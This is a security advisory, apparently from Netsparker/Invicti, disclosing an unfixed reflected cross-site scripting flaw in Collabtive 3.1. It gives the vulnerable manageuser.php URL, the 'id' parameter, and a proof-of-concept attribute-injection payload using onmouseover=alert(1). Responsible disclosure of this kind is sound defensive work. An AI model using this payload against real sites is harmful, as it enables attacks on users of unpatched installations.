Reflected Cross-site Scripting Vulnerability in Collabtive 3.1


Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Collabtive 3.1
Affected Software: Collabtive
Affected Versions: 3.1
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-052

Technical Details

URL: http://{DOMAIN}/{PATH-OF-COLLABTİVE}/manageuser.php?action=profile&id=x%22%20onmouseover=alert(1)%20x=%22
Parameter Name: id
Parameter Type: GET
Attack Pattern: x” onmouseover=alert(1) x=”

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

14th May 2018 – First Contact Attempt
30th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

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